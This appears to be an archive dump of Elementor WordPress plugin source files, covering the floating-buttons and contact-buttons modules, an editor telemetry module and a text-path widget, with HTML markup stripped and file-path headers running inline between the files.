render() { $settings = $this->get_settings_for_display(); // Get the path URL. $path_url = ( 'custom' === $settings['path'] ) ? wp_get_attachment_url( $settings['custom_path']['id'] ) : Shapes_Module::get_path_url( $settings['path'] ); // Remove the HTTP protocol to prevent Mixed Content error. $path_url = preg_replace( '/^https?:/i', '', $path_url ); // Add Text Path attributes. $this->add_render_attribute( 'text_path', [ 'class' => 'e-text-path', 'data-text' => htmlentities( esc_attr( $settings['text'] ) ), 'data-url' => esc_url( $path_url ), 'data-link-url' => esc_url( $settings['link']['url'] ?? '' ), ] ); // Add hover animation. if ( ! empty( $settings['hover_animation'] ) ) { $this->add_render_attribute( 'text_path', 'class', 'elementor-animation-' . $settings['hover_animation'] ); } // Render. ?>
print_render_attribute_string( 'text_path' ); ?>>
register_experiment(); } public function get_name() { return 'editor-events'; } public static function get_editor_events_config() { $can_send_events = defined( 'ELEMENTOR_EDITOR_EVENTS_MIXPANEL_TOKEN' ) && Tracker::is_allow_track() && Plugin::$instance->experiments->is_feature_active( self::EXPERIMENT_NAME ); $settings = [ 'can_send_events' => $can_send_events, 'elementor_version' => ELEMENTOR_VERSION, 'site_url' => hash( 'sha256', get_site_url() ), 'wp_version' => get_bloginfo( 'version' ), 'user_agent' => esc_html( Utils::get_super_global_value( $_SERVER, 'HTTP_USER_AGENT' ) ), 'site_language' => get_locale(), 'site_key' => get_option( Base_App::OPTION_CONNECT_SITE_KEY ), 'subscription_id' => null, 'token' => defined( 'ELEMENTOR_EDITOR_EVENTS_MIXPANEL_TOKEN' ) ? ELEMENTOR_EDITOR_EVENTS_MIXPANEL_TOKEN : '', ]; return $settings; } private function register_experiment() { Plugin::$instance->experiments->add_feature( [ 'name' => static::EXPERIMENT_NAME, 'title' => esc_html__( 'Elementor Editor Events', 'elementor' ), 'description' => esc_html__( 'Editor events processing', 'elementor' ), 'hidden' => true, 'default' => Experiments_Manager::STATE_INACTIVE, ] ); } } modules/floating-buttons/module.php000064400000041122147206604650013523 0ustar00experiments->is_feature_active( 'container' ); } public static function get_floating_elements_types() { return [ 'floating-buttons' => esc_html__( 'Floating Buttons', 'elementor' ), 'floating-bars' => esc_html__( 'Floating Bars', 'elementor' ), ]; } // TODO: This is a hidden experiment which needs to remain enabled like this until 3.26 for pro compatibility. public static function get_experimental_data() { return [ 'name' => self::EXPERIMENT_NAME, 'title' => esc_html__( 'Floating Buttons', 'elementor' ), 'hidden' => true, 'default' => Manager::STATE_ACTIVE, 'release_status' => Manager::RELEASE_STATUS_STABLE, 'mutable' => false, ]; } public function get_name(): string { return static::EXPERIMENT_NAME; } public function get_widgets(): array { return [ 'Contact_Buttons', 'Floating_Bars_Var_1', ]; } private function register_admin_menu_legacy( Admin_Menu_Manager $admin_menu ) { $menu_args = $this->get_contact_menu_args(); $function = $menu_args['function']; if ( is_callable( $function ) ) { $admin_menu->register( $menu_args['menu_slug'], new Floating_Buttons_Empty_View_Menu_Item( $function ) ); } else { $admin_menu->register( $menu_args['menu_slug'], new Floating_Buttons_Menu_Item() ); }; } public function __construct() { parent::__construct(); if ( Floating_Buttons::is_creating_floating_buttons_page() || Floating_Buttons::is_editing_existing_floating_buttons_page() ) { Controls_Manager::add_tab( Widget_Contact_Button_Base::TAB_ADVANCED, esc_html__( 'Advanced', 'elementor' ) ); Controls_Manager::add_tab( Widget_Floating_Bars_Base::TAB_ADVANCED, esc_html__( 'Advanced', 'elementor' ) ); } $this->register_contact_pages_cpt(); if ( ! ElementorUtils::has_pro() ) { add_action( 'elementor/documents/register', function ( Documents_Manager $documents_manager ) { $documents_manager->register_document_type( static::FLOATING_BUTTONS_DOCUMENT_TYPE, Floating_Buttons::get_class_full_name() ); } ); } add_action( 'current_screen', function() { $screen = get_current_screen(); if ( $screen && 'edit-e-floating-buttons' === $screen->id ) { $this->flush_permalinks_on_elementor_version_change(); } }); add_action( 'wp_ajax_elementor_send_clicks', [ $this, 'handle_click_tracking' ] ); add_action( 'wp_ajax_nopriv_elementor_send_clicks', [ $this, 'handle_click_tracking' ] ); add_action( 'elementor/frontend/after_register_styles', [ $this, 'register_styles' ] ); add_action( 'elementor/controls/register', function ( Controls_Manager $controls_manager ) { $controls_manager->register( new Hover_Animation_Floating_Buttons() ); }); add_filter( 'elementor/widget/common/register_css_attributes_control', function ( $common_controls ) { if ( Floating_Buttons::is_creating_floating_buttons_page() || Floating_Buttons::is_editing_existing_floating_buttons_page() ) { return false; } return $common_controls; } ); add_filter( 'elementor/settings/controls/checkbox_list_cpt/post_type_objects', function ( $post_types ) { unset( $post_types[ static::CPT_FLOATING_BUTTONS ] ); return $post_types; } ); add_filter( 'elementor/template_library/sources/local/is_valid_template_type', function ( $is_valid_template_type, $cpt ) { if ( in_array( static::CPT_FLOATING_BUTTONS, $cpt, true ) ) { return true; } return $is_valid_template_type; }, 10, 2 ); if ( ! ElementorUtils::has_pro() ) { add_action( 'wp_footer', function () { $this->render_floating_buttons(); } ); } add_action( 'elementor/admin-top-bar/is-active', function ( $is_top_bar_active, $current_screen ) { if ( strpos( $current_screen->id ?? '', static::CPT_FLOATING_BUTTONS ) !== false ) { return true; } return $is_top_bar_active; }, 10, 2 ); add_action( 'elementor/admin/menu/register', function( Admin_Menu_Manager $admin_menu ) { $this->register_admin_menu_legacy( $admin_menu ); }, Source_Local::ADMIN_MENU_PRIORITY + 20 ); add_action( 'elementor/admin/localize_settings', function ( array $settings ) { return $this->admin_localize_settings( $settings ); } ); add_action( 'elementor/editor/localize_settings', function ( $data ) { return $this->editor_localize_settings( $data ); } ); add_filter( 'elementor/template_library/sources/local/register_taxonomy_cpts', function ( array $cpts ) { $cpts[] = static::CPT_FLOATING_BUTTONS; return $cpts; } ); add_action( 'admin_init', function () { $action = filter_input( INPUT_GET, 'action' ); $menu_args = $this->get_contact_menu_args(); switch ( $action ) { case 'remove_from_entire_site': $post = filter_input( INPUT_GET, 'post', FILTER_VALIDATE_INT ); check_admin_referer( 'remove_from_entire_site_' . $post ); delete_post_meta( $post, '_elementor_conditions' ); wp_redirect( $menu_args['menu_slug'] ); exit; case 'set_as_entire_site': $post = filter_input( INPUT_GET, 'post', FILTER_VALIDATE_INT ); check_admin_referer( 'set_as_entire_site_' . $post ); $posts = get_posts( [ 'post_type' => static::CPT_FLOATING_BUTTONS, 'posts_per_page' => -1, 'post_status' => 'publish', 'fields' => 'ids', 'no_found_rows' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'meta_query' => Floating_Buttons::get_meta_query_for_floating_buttons( Floating_Buttons::get_floating_element_type( $post ) ), ] ); foreach ( $posts as $post_id ) { delete_post_meta( $post_id, '_elementor_conditions' ); } update_post_meta( $post, '_elementor_conditions', [ 'include/general' ] ); wp_redirect( $menu_args['menu_slug'] ); exit; default: break; } } ); add_action( 'manage_' . static::CPT_FLOATING_BUTTONS . '_posts_columns', function( $posts_columns ) { $source_local = Plugin::$instance->templates_manager->get_source( 'local' ); unset( $posts_columns['date'] ); unset( $posts_columns['comments'] ); $posts_columns['click_tracking'] = esc_html__( 'Click Tracking', 'elementor' ); if ( ! ElementorUtils::has_pro() ) { $posts_columns['instances'] = esc_html__( 'Instances', 'elementor' ); } return $source_local->admin_columns_headers( $posts_columns ); } ); add_action( 'manage_' . static::CPT_FLOATING_BUTTONS . '_posts_custom_column', [ $this, 'set_admin_columns_content' ], 10, 2 ); add_action( 'admin_bar_menu', function ( $admin_bar ) { $this->override_admin_bar_add_contact( $admin_bar ); }, 100 ); } public function is_preview_for_document( $post_id ) { $preview_id = ElementorUtils::get_super_global_value( $_GET, 'preview_id' ); $preview = ElementorUtils::get_super_global_value( $_GET, 'preview' ); return 'true' === $preview && (int) $post_id === (int) $preview_id; } public function handle_click_tracking() { $data = filter_input_array( INPUT_POST, [ 'clicks' => [ 'filter' => FILTER_VALIDATE_INT, 'flags' => FILTER_REQUIRE_ARRAY, ], '_nonce' => FILTER_UNSAFE_RAW, ] ); if ( ! wp_verify_nonce( $data['_nonce'], static::CLICK_TRACKING_NONCE ) ) { wp_send_json_error( [ 'message' => 'Invalid nonce' ] ); } if ( ! check_ajax_referer( static::CLICK_TRACKING_NONCE, '_nonce', false ) ) { wp_send_json_error( [ 'message' => 'Invalid referrer' ] ); } $posts_to_update = []; foreach ( $data['clicks'] as $post_id ) { if ( ! isset( $posts_to_update[ $post_id ] ) ) { $starting_clicks = (int) get_post_meta( $post_id, static::META_CLICK_TRACKING, true ); $posts_to_update[ $post_id ] = $starting_clicks ? $starting_clicks : 0; } $posts_to_update[ $post_id ] ++; } foreach ( $posts_to_update as $post_id => $clicks ) { update_post_meta( $post_id, static::META_CLICK_TRACKING, $clicks ); } wp_send_json_success(); } public function set_admin_columns_content( $column_name, $post_id ) { $document = Plugin::$instance->documents->get( $post_id ); if ( method_exists( $document, 'admin_columns_content' ) ) { $document->admin_columns_content( $column_name ); } switch ( $column_name ) { case 'click_tracking': $click_tracking = get_post_meta( $post_id, static::META_CLICK_TRACKING, true ); echo esc_html( $click_tracking ); break; case 'instances': if ( ElementorUtils::has_pro() ) { break; } $instances = get_post_meta( $post_id, '_elementor_conditions', true ); if ( $instances ) { echo esc_html__( 'Entire Site', 'elementor' ); } break; default: break; } } public function flush_permalinks_on_elementor_version_change() { if ( get_option( static::ROUTER_OPTION_KEY ) !== ELEMENTOR_VERSION ) { flush_rewrite_rules(); update_option( static::ROUTER_OPTION_KEY, ELEMENTOR_VERSION ); } } private function get_trashed_contact_posts(): array { if ( $this->trashed_contact_pages ) { return $this->trashed_contact_pages; } $this->trashed_contact_pages = $this->get_trashed_posts( static::CPT_FLOATING_BUTTONS, static::FLOATING_BUTTONS_DOCUMENT_TYPE ); return $this->trashed_contact_pages; } private function get_trashed_posts( string $cpt, string $document_type ) { $query = new \WP_Query( [ 'no_found_rows' => true, 'post_type' => $cpt, 'post_status' => 'trash', 'posts_per_page' => 1, 'meta_key' => '_elementor_template_type', 'meta_value' => $document_type, ] ); return $query->posts; } private function get_add_new_contact_page_url() { if ( ElementorUtils::has_pro() ) { return Plugin::$instance->documents->get_create_new_post_url( static::CPT_FLOATING_BUTTONS, static::FLOATING_BUTTONS_DOCUMENT_TYPE ); } return Plugin::$instance->documents->get_create_new_post_url( static::CPT_FLOATING_BUTTONS, static::FLOATING_BUTTONS_DOCUMENT_TYPE ) . '#library'; } public function print_empty_contact_pages_page() { $template_sources = Plugin::$instance->templates_manager->get_registered_sources(); $source_local = $template_sources['local']; $trashed_posts = $this->get_trashed_contact_posts(); ?>
print_blank_state_template( esc_html__( 'Floating Element', 'elementor' ), $this->get_add_new_contact_page_url(), nl2br( esc_html__( 'Add a Floating element so your users can easily get in touch!', 'elementor' ) ) ); if ( ! empty( $trashed_posts ) ) : ?>
', '' ); ?>
get_contact_menu_args()['menu_slug']; if ( static::CPT_FLOATING_BUTTONS === $contact_menu_slug ) { $contact_menu_slug = 'admin.php?page=' . $contact_menu_slug; } $additional_settings = [ 'urls' => [ 'addNewLinkUrlContact' => $this->get_add_new_contact_page_url(), 'viewContactPageUrl' => $contact_menu_slug, ], 'contactPages' => [ 'hasPages' => $this->has_contact_pages(), ], ]; return array_replace_recursive( $settings, $additional_settings ); } private function register_contact_pages_cpt() { $this->register_post_type( Floating_Buttons::get_labels(), static::CPT_FLOATING_BUTTONS ); } private function register_post_type( array $labels, string $cpt ) { $args = [ 'labels' => $labels, 'public' => true, 'show_in_menu' => 'edit.php?post_type=elementor_library&tabs_group=library', 'show_in_nav_menus' => false, 'capability_type' => 'page', 'taxonomies' => [ Source_Local::TAXONOMY_TYPE_SLUG ], 'supports' => [ 'title', 'editor', 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', 'page-attributes', 'thumbnail', 'custom-fields', 'post-formats', 'elementor', ], ]; register_post_type( $cpt, $args ); } private function has_contact_pages(): bool { if ( null !== $this->has_contact_pages ) { return $this->has_contact_pages; } $this->has_contact_pages = $this->has_pages( static::CPT_FLOATING_BUTTONS, static::FLOATING_BUTTONS_DOCUMENT_TYPE ); return $this->has_contact_pages; } private function has_pages( string $cpt, string $document_type ): bool { $posts_query = new \WP_Query( [ 'no_found_rows' => true, 'post_type' => $cpt, 'post_status' => 'any', 'posts_per_page' => 1, 'meta_key' => '_elementor_template_type', 'meta_value' => $document_type, ] ); return $posts_query->post_count > 0; } private function get_contact_menu_args(): array { if ( $this->has_contact_pages() ) { $menu_slug = static::ADMIN_PAGE_SLUG_CONTACT; $function = null; } else { $menu_slug = static::CPT_FLOATING_BUTTONS; $function = [ $this, 'print_empty_contact_pages_page' ]; } return [ 'menu_slug' => $menu_slug, 'function' => $function, ]; } public function override_admin_bar_add_contact( $admin_bar ): void { $new_contact_page_node = $admin_bar->get_node( 'new-e-floating-buttons' ); if ( $new_contact_page_node ) { $new_contact_page_node->href = $this->get_add_new_contact_page_url(); $admin_bar->add_node( $new_contact_page_node ); } } private function editor_localize_settings( $data ) { $data['admin_floating_button_admin_url'] = admin_url( $this->get_contact_menu_args()['menu_slug'] ); return $data; } private function render_floating_buttons(): void { if ( Plugin::$instance->preview->is_preview_mode() ) { $post_id = ElementorUtils::get_super_global_value( $_GET, 'elementor-preview' ); $document = Plugin::$instance->documents->get( $post_id ); if ( $document instanceof Document && $document->get_name() === static::FLOATING_BUTTONS_DOCUMENT_TYPE ) { return; } } $query = new \WP_Query( [ 'post_type' => static::CPT_FLOATING_BUTTONS, 'posts_per_page' => - 1, 'post_status' => 'publish', 'fields' => 'ids', 'meta_key' => '_elementor_conditions', 'meta_compare' => 'EXISTS', ] ); if ( ! $query->have_posts() ) { return; } foreach ( $query->posts as $post_id ) { $conditions = get_post_meta( $post_id, '_elementor_conditions', true ); if ( ! $conditions ) { continue; } if ( in_array( 'include/general', $conditions ) && ! $this->is_preview_for_document( $post_id ) && get_the_ID() !== $post_id ) { $document = Plugin::$instance->documents->get( $post_id ); $document->print_content(); } } } /** * Register styles. * * At build time, Elementor compiles `/modules/floating-buttons/assets/scss/frontend.scss` * to `/assets/css/widget-floating-buttons.min.css`. * * @return void */ public function register_styles() { wp_register_style( 'widget-floating-buttons', $this->get_css_assets_url( 'widget-floating-buttons', null, true, true ), [ 'elementor-icons' ], ELEMENTOR_VERSION ); } } modules/floating-buttons/documents/floating-buttons.php000064400000017733147206604650017551 0ustar00preview->is_preview_mode( $this->get_main_id() ) ) { // PHPCS - the method builder_wrapper is safe. echo $plugin->preview->builder_wrapper( '' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { // PHPCS - the method get_content is safe. echo $this->get_content(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } public function get_location() { return self::get_property( 'location' ); } public static function get_type() { return Floating_Buttons_Module::FLOATING_BUTTONS_DOCUMENT_TYPE; } public static function register_post_fields_control( $document ) {} public static function register_hide_title_control( $document ) {} public function get_name() { return Floating_Buttons_Module::FLOATING_BUTTONS_DOCUMENT_TYPE; } public function filter_admin_row_actions( $actions ) { unset( $actions['edit'] ); unset( $actions['inline hide-if-no-js'] ); $built_with_elementor = parent::filter_admin_row_actions( [] ); if ( isset( $actions['trash'] ) ) { $delete = $actions['trash']; unset( $actions['trash'] ); $actions['trash'] = $delete; } if ( 'publish' === $this->get_post()->post_status ) { $actions = $this->set_as_entire_site( $actions ); } return $built_with_elementor + $actions; } public static function get_meta_query_for_floating_buttons( string $floating_element_type ): array { $meta_query = [ 'relation' => 'AND', [ 'key' => '_elementor_conditions', 'compare' => 'EXISTS', ], ]; if ( 'floating-buttons' === $floating_element_type ) { $meta_query[] = [ 'relation' => 'OR', [ 'key' => Module::FLOATING_ELEMENTS_TYPE_META_KEY, 'compare' => 'NOT EXISTS', ], [ 'key' => Module::FLOATING_ELEMENTS_TYPE_META_KEY, 'value' => 'floating-buttons', ], ]; } else { $meta_query[] = [ 'key' => Module::FLOATING_ELEMENTS_TYPE_META_KEY, 'value' => $floating_element_type, ]; } return $meta_query; } /** * Tries to find the post id of the floating element that is set as entire site. * If found, returns the post id, otherwise returns 0. * * @param string $floating_element_type * * @return int */ public static function get_set_as_entire_site_post_id( string $floating_element_type ): int { static $types = []; if ( isset( $types[ $floating_element_type ] ) ) { return $types[ $floating_element_type ]; } $query = new \WP_Query( [ 'post_type' => Floating_Buttons_Module::CPT_FLOATING_BUTTONS, 'posts_per_page' => -1, 'post_status' => 'publish', 'fields' => 'ids', 'no_found_rows' => true, 'update_post_term_cache' => false, 'meta_query' => static::get_meta_query_for_floating_buttons( $floating_element_type ), ] ); foreach ( $query->get_posts() as $post_id ) { $conditions = get_post_meta( $post_id, '_elementor_conditions', true ); if ( ! $conditions ) { continue; } if ( in_array( 'include/general', $conditions ) ) { $types[ $floating_element_type ] = $post_id; return $post_id; } } return 0; } public function set_as_entire_site( $actions ) { $floating_element_type = static::get_floating_element_type( $this->get_main_id() ); $current_set_as_entire_site_post_id = static::get_set_as_entire_site_post_id( $floating_element_type ); if ( $current_set_as_entire_site_post_id === $this->get_main_id() ) { $actions['set_as_entire_site'] = sprintf( '%s', $this->get_post()->ID, wp_create_nonce( 'remove_from_entire_site_' . $this->get_post()->ID ), esc_html__( 'Remove From Entire Site', 'elementor' ) ); } else { $actions['set_as_entire_site'] = sprintf( '%s', $this->get_post()->ID, wp_create_nonce( 'set_as_entire_site_' . $this->get_post()->ID ), esc_html__( 'Set as Entire Site', 'elementor' ) ); } return $actions; } public static function get_title() { return esc_html__( 'Floating Element', 'elementor' ); } public static function get_plural_title() { return esc_html__( 'Floating Elements', 'elementor' ); } public static function get_create_url() { return parent::get_create_url() . '#library'; } public function save( $data ) { if ( empty( $data['settings']['template'] ) ) { $data['settings']['template'] = Page_Templates_Module::TEMPLATE_CANVAS; } return parent::save( $data ); } public function admin_columns_content( $column_name ) { if ( 'elementor_library_type' === $column_name ) { $admin_filter_url = admin_url( Source_Local::ADMIN_MENU_SLUG . '&elementor_library_type=' . $this->get_name() ); $meta = static::get_floating_element_type( $this->get_main_id() ); printf( '%s', $admin_filter_url, Module::get_floating_elements_types()[ $meta ] ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } public function get_edit_url() { return add_query_arg( [ 'post' => $this->get_main_id(), 'action' => 'elementor', 'floating_element' => get_post_meta( $this->get_main_id(), Module::FLOATING_ELEMENTS_TYPE_META_KEY, true ), ], admin_url( 'post.php' ) ); } protected function get_remote_library_config() { $config = [ 'type' => 'floating_button', 'default_route' => 'templates/floating-buttons', 'autoImportSettings' => true, ]; return array_replace_recursive( parent::get_remote_library_config(), $config ); } } modules/floating-buttons/classes/render/contact-buttons-core-render.php000064400000003773147206604650022516 0ustar00build_layout_render_attribute(); $this->add_content_wrapper_render_attribute(); $content_classnames = 'e-contact-buttons__content'; $animation_duration = $this->settings['style_chat_box_animation_duration']; if ( ! empty( $animation_duration ) ) { $content_classnames .= ' has-animation-duration-' . $animation_duration; } $this->widget->add_render_attribute( 'content', [ 'class' => $content_classnames, ] ); ?>
widget->get_render_attribute_string( 'layout' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
widget->get_render_attribute_string( 'content-wrapper' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
widget->get_render_attribute_string( 'content' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> render_top_bar(); $this->render_message_bubble(); $this->render_send_button(); ?>
render_chat_button(); ?>
widget->add_render_attribute( 'layout', [ 'class' => $layout_classnames, 'id' => $this->settings['advanced_custom_css_id'], 'data-document-id' => get_the_ID(), 'aria-role' => 'dialog', ] ); } protected function add_content_wrapper_render_attribute() { $this->widget->add_render_attribute( 'content-wrapper', [ 'aria-hidden' => 'true', 'aria-label' => __( 'Links window', 'elementor' ), 'class' => 'e-contact-buttons__content-wrapper hidden', 'id' => 'e-contact-buttons__content-wrapper', ] ); } } modules/floating-buttons/classes/render/floating-bars-core-render.php000064400000010627147206604650022113 0ustar00settings['announcement_icon'] ?? ''; if ( '' !== $icon['value'] ) : ?> 'true' ] ); ?> settings['announcement_text'] ?? ''; $this->widget->add_render_attribute( 'announcement_text', [ 'class' => 'e-floating-bars__announcement-text', ] ); if ( '' !== $text ) : ?>

widget->print_render_attribute_string( 'announcement_text' ); ?>>

settings['cta_icon'] ?? ''; $icon_classnames = 'e-floating-bars__cta-icon'; $this->widget->add_render_attribute( 'cta-icon', [ 'class' => $icon_classnames, ] ); if ( '' !== $icon['value'] ) : ?> widget->get_render_attribute_string( 'cta-icon' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> 'true' ] ); ?> settings['cta_link'] ?? ''; $text = $this->settings['cta_text'] ?? ''; $hover_animation = $this->settings['style_cta_button_hover_animation']; $corners = $this->settings['style_cta_button_corners']; $link_type = $this->settings['style_cta_type']; $entrance_animation = $this->settings['style_cta_button_animation']; $has_border = $this->settings['style_cta_button_show_border']; $cta_classnames = 'e-floating-bars__cta-button'; if ( ! empty( $hover_animation ) ) { $cta_classnames .= ' elementor-animation-' . $hover_animation; } if ( ! empty( $corners ) ) { $cta_classnames .= ' has-corners-' . $corners; } if ( ! empty( $link_type ) ) { $cta_classnames .= ' is-type-' . $link_type; } if ( ! empty( $entrance_animation ) && 'none' != $entrance_animation ) { $cta_classnames .= ' has-entrance-animation'; } if ( 'yes' == $has_border ) { $cta_classnames .= ' has-border'; } $this->widget->add_render_attribute( 'cta-button', [ 'class' => $cta_classnames, ] ); $this->widget->add_render_attribute( 'cta_text', [ 'class' => 'e-floating-bars__cta-text', ] ); if ( ! empty( $text ) ) { $this->widget->add_link_attributes( 'cta-button', $link ); ?> settings['accessible_name']; $close_button_classnames = 'e-floating-bars__close-button'; $this->widget->add_render_attribute( 'close-button', [ 'class' => $close_button_classnames, 'aria-label' => sprintf( /* translators: 1: Accessible name. */ esc_html__( 'Close %1$s', 'elementor' ), $accessible_name, ), 'type' => 'button', 'aria-controls' => 'e-floating-bars', ] ); ?> build_layout_render_attribute(); $has_close_button = $this->settings['floating_bar_close_switch']; ?>
widget->get_render_attribute_string( 'layout' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> render_announcement_text(); $this->render_announcement_icon(); $this->render_cta_button(); if ( 'yes' === $has_close_button ) { $this->render_close_button(); } ?>
widget = $widget; $this->settings = $widget->get_settings_for_display(); } protected function add_layout_render_attribute( $layout_classnames ) { $this->widget->add_render_attribute( 'layout', [ 'class' => $layout_classnames, 'id' => $this->settings['advanced_custom_css_id'], 'data-document-id' => get_the_ID(), 'role' => 'alertdialog', ] ); } public static function get_layout_classnames( Widget_Floating_Bars_Base $widget, array $settings ): string { $layout_classnames = 'e-floating-bars e-' . $widget->get_name(); $vertical_position = $settings['advanced_vertical_position']; $is_sticky = $settings['advanced_toggle_sticky']; $has_close_button = $settings['floating_bar_close_switch']; $layout_classnames .= ' has-vertical-position-' . $vertical_position; if ( 'yes' === $has_close_button ) { $layout_classnames .= ' has-close-button'; } if ( 'yes' === $is_sticky ) { $layout_classnames .= ' is-sticky'; } return $layout_classnames; } protected function build_layout_render_attribute(): void { $layout_classnames = static::get_layout_classnames( $this->widget, $this->settings ); $this->add_layout_render_attribute( $layout_classnames ); } } modules/floating-buttons/classes/render/contact-buttons-render-base.php000064400000040761147206604650022476 0ustar00widget = $widget; $this->settings = $widget->get_settings_for_display(); } protected function render_chat_button_icon(): void { $platform = $this->settings['chat_button_platform'] ?? ''; $mapping = Social_Network_Provider::get_icon_mapping( $platform ); $icon_lib = explode( ' ', $mapping )[0]; $library = 'fab' === $icon_lib ? 'fa-brands' : 'fa-solid'; Icons_Manager::render_icon( [ 'library' => $library, 'value' => $mapping, ], [ 'aria-hidden' => 'true' ] ); } protected function render_chat_button(): void { $platform = $this->settings['chat_button_platform'] ?? ''; $display_dot = $this->settings['chat_button_show_dot'] ?? ''; $button_size = $this->settings['style_chat_button_size']; $hover_animation = $this->settings['style_button_color_hover_animation']; $entrance_animation = $this->settings['style_chat_button_animation']; $entrance_animation_duration = $this->settings['style_chat_button_animation_duration']; $entrance_animation_delay = $this->settings['style_chat_button_animation_delay']; $accessible_name = $this->settings['chat_aria_label']; $button_classnames = 'e-contact-buttons__chat-button e-contact-buttons__chat-button-shadow'; if ( ! empty( $button_size ) ) { $button_classnames .= ' has-size-' . $button_size; } if ( ! empty( $hover_animation ) ) { $button_classnames .= ' elementor-animation-' . $hover_animation; } if ( ! empty( $entrance_animation ) && 'none' != $entrance_animation ) { $button_classnames .= ' has-entrance-animation'; } if ( ! empty( $entrance_animation_delay ) ) { $button_classnames .= ' has-entrance-animation-delay'; } if ( ! empty( $entrance_animation_duration ) ) { $button_classnames .= ' has-entrance-animation-duration-' . $entrance_animation_duration; } if ( 'yes' === $display_dot ) { $button_classnames .= ' has-dot'; } $this->widget->add_render_attribute( 'button', [ 'class' => $button_classnames, 'aria-controls' => 'e-contact-buttons__content-wrapper', 'aria-label' => sprintf( /* translators: 1: Accessible name. */ esc_html__( 'Toggle %1$s', 'elementor' ), $accessible_name, ), 'type' => 'button', ] ); ?>
settings['chat_aria_label']; $this->widget->add_render_attribute( 'close-button', [ 'class' => 'e-contact-buttons__close-button', 'aria-controls' => 'e-contact-buttons__content-wrapper', 'aria-label' => sprintf( /* translators: 1: Accessible name. */ esc_html__( 'Close %1$s', 'elementor' ), $accessible_name, ), 'type' => 'button', ] ); ?> settings['top_bar_image'] ?? []; $has_profile_image = ! empty( $profile_image_value ) && ( ! empty( $profile_image_value['url'] || ! empty( $profile_image_value['id'] ) ) ); $profile_image_size = $this->settings['style_top_bar_image_size']; $display_profile_dot = $this->settings['top_bar_show_dot']; $profile_image_classnames = 'e-contact-buttons__profile-image'; if ( ! empty( $profile_image_size ) ) { $profile_image_classnames .= ' has-size-' . $profile_image_size; } if ( 'yes' === $display_profile_dot ) { $profile_image_classnames .= ' has-dot'; } $top_bar_title = $this->settings['top_bar_title'] ?? ''; $top_bar_subtitle = $this->settings['top_bar_subtitle'] ?? ''; $has_top_bar_title = ! empty( $top_bar_title ); $has_top_bar_subtitle = ! empty( $top_bar_subtitle ); $this->widget->add_render_attribute( 'profile-image', [ 'class' => $profile_image_classnames, ] ); ?>
render_close_button(); ?>
widget->get_render_attribute_string( 'profile-image' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> 'e-contact-buttons__profile-image-el', ] ); } else { $this->widget->add_render_attribute( 'profile-image-src', [ 'alt' => '', 'class' => 'e-contact-buttons__profile-image-el', 'src' => esc_url( $profile_image_value['url'] ), ] ); ?> widget->get_render_attribute_string( 'profile-image-src' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> />

settings['chat_button_show_animation']; ?>
settings['message_bubble_name'] ?? ''; $message_bubble_body = $this->settings['message_bubble_body'] ?? ''; $has_message_bubble_name = ! empty( $message_bubble_name ); $has_message_bubble_body = ! empty( $message_bubble_body ); $time_format = $this->settings['chat_button_time_format']; ?>

settings['chat_button_show_animation'] ?? false; $has_typing_animation = $show_animation && 'yes' === $show_animation; if ( $has_typing_animation ) { $message_bubble_classnames .= ' has-typing-animation'; } $this->widget->add_render_attribute( 'message-bubble', [ 'class' => $message_bubble_classnames, ] ); ?>
widget->get_render_attribute_string( 'message-bubble' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> render_message_bubble_typing_animation(); $this->render_message_bubble_container(); ?>
settings['contact_cta_text'] ?? ''; ?>

settings['contact_repeater'] ?? []; $icons_size = $this->settings['style_contact_button_size'] ?? 'small'; $hover_animation = $this->settings['style_contact_button_hover_animation']; ?>
render_contact_text(); $this->render_contact_links(); ?>
settings['chat_button_platform'] ?? ''; $send_button_text = $this->settings['send_button_text']; $hover_animation = $this->settings['style_send_hover_animation']; $cta_classnames = 'e-contact-buttons__send-cta'; $link = [ 'platform' => $platform, 'number' => $this->settings['chat_button_number'] ?? '', 'username' => $this->settings['chat_button_username'] ?? '', 'email_data' => [ 'chat_button_mail' => $this->settings['chat_button_mail'], 'chat_button_mail_subject' => $this->settings['chat_button_mail_subject'] ?? '', 'chat_button_mail_body' => $this->settings['chat_button_mail_body'] ?? '', ], 'viber_action' => $this->settings['chat_button_viber_action'], ]; $formatted_link = $this->get_formatted_link( $link, 'chat_button' ); if ( ! empty( $hover_animation ) ) { $cta_classnames .= ' elementor-animation-' . $hover_animation; } $this->widget->add_render_attribute( 'formatted-cta', [ 'class' => $cta_classnames, 'href' => $formatted_link, 'rel' => 'noopener noreferrer', 'target' => '_blank', ] ); ?> widget->add_link_attributes( $key, $link['location'] ); break; case Social_Network_Provider::URL: if ( empty( $link['url']['url'] ) ) { $link['url']['url'] = '#'; } $this->widget->add_link_attributes( $key, $link['url'] ); break; default: break; } } protected function build_layout_render_attribute(): void { $layout_classnames = 'e-contact-buttons e-' . $this->widget->get_name(); $platform = $this->settings['chat_button_platform'] ?? ''; $border_radius = $this->settings['style_chat_box_corners']; $alignment_position_horizontal = $this->settings['advanced_horizontal_position']; $alignment_position_vertical = $this->settings['advanced_vertical_position']; $has_animations = ! empty( $this->settings['style_chat_box_exit_animation'] ) || ! empty( $this->settings['style_chat_box_entrance_animation'] ); $custom_classes = $this->settings['advanced_custom_css_classes'] ?? ''; $icon_name_mapping = Social_Network_Provider::get_name_mapping( $platform ); if ( ! empty( $platform ) ) { $layout_classnames .= ' has-platform-' . $icon_name_mapping; } if ( ! empty( $border_radius ) ) { $layout_classnames .= ' has-corners-' . $border_radius; } if ( ! empty( $alignment_position_horizontal ) ) { $layout_classnames .= ' has-h-alignment-' . $alignment_position_horizontal; } if ( ! empty( $alignment_position_vertical ) ) { $layout_classnames .= ' has-v-alignment-' . $alignment_position_vertical; } if ( $has_animations ) { $layout_classnames .= ' 